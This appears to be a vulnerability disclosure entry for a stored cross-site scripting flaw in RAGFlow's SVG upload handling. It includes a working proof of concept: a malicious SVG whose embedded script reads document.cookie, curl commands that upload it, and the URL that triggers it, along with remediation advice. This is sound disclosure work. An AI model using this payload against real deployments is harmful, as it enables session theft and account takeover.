| Title | InfiniFlow RAGFlow <= v0.27.1 (tested at commit 880876f60ff8c30e023e42360d13688a0a021fd) Stored Cross-Site Scripting via SVG Upload (missing magic byte v |
|---|
| Description | RagFlow validates uploaded files by extension only, without checking magic bytes / file content. The "/documents/images/" endpoint serves uploaded SVG files with Content-Type "image/svg+xml" and no Content-Disposition header, so the browser renders the SVG inline instead of downloading it. Since SVG is an XML-based format that can embed <script> tags and event handlers, any authenticated user can upload a malicious SVG as a document and have arbitrary JavaScript executed in the browser of anyone who opens the image URL, including session cookie theft.
Affected files: api/utils/file_utils.py (lines 58-80), api/db/services/file_service.py (lines 636-638, 906), api/apps/restful_apis/document_api.py (lines 1835-1870).
Proof of concept:
1. Create a malicious SVG file:
cat > /tmp/malicious.svg << 'EOF'
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS - Cookie: ' + document.cookie)</script>
<text x="10" y="20">Malicious</text>
</svg>
EOF
2. Create a dataset:
curl -s -X POST "http://localhost:9380/api/v1/datasets" -H "Authorization: Bearer <API_KEY>" -H "Content-Type: application/json" -d '{"name":"xss-test","chunk_method":"naive"}'
Response: {"code":0,"data":{"id":"78da62c4a63211f180280d9e505b878b",...}}
3. Upload the malicious SVG as a document:
curl -s -X POST "http://localhost:9380/api/v1/datasets/78da62c4a63211f180280d9e505b878b/documents" -H "Authorization: Bearer <API_KEY>" -F "file=@/tmp/malicious.svg"
Response: {"code":0,"data":[{"id":"997ef990a63211f180280d9e505b878b","name":"malicious.svg",...}]}
4. Trigger the XSS: log in at http://localhost:8880 ([email protected]) and open http://localhost:8880/api/v1/documents/images/78da62c4a63211f180280d9e505b878b-malicious.svg. The JavaScript executes and fires an alert containing document.cookie.
Validated response headers:
HTTP/1.1 200 OK
content-type: image/svg+xml
content-length: 170
No Content-Disposition: attachment header is present, so the browser renders the SVG inline instead of downloading it, which is what allows the embedded script to execute.
Impact: session hijacking via cookie theft, account takeover, phishing within the application context, data exfiltration. Exploitable by any authenticated user able to upload documents.
Remediation: validate uploaded files by magic bytes/content in addition to extension, serve SVG (and other potentially-active file types) with a Content-Disposition: attachment header, sanitize SVG content by stripping <script> tags and event handler attributes before storage or serving, and add an X-Content-Type-Options: nosniff header on file-serving responses.
CWE-79 (Cross-site Scripting), CWE-434 (Unrestricted Upload of File with Dangerous Type). |
|---|
| User | Gabriel Alves (UID 99209) |
|---|
| Submission | 10/10/2026 17:42 (25 days ago) |
|---|
| Moderation | 11/04/2026 12:33 (25 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 431040 [InfiniFlow RAGFlow up to 0.27.2 Images API api/utils/file_utils.py cross site scripting] |
|---|
| Points | 17 |
|---|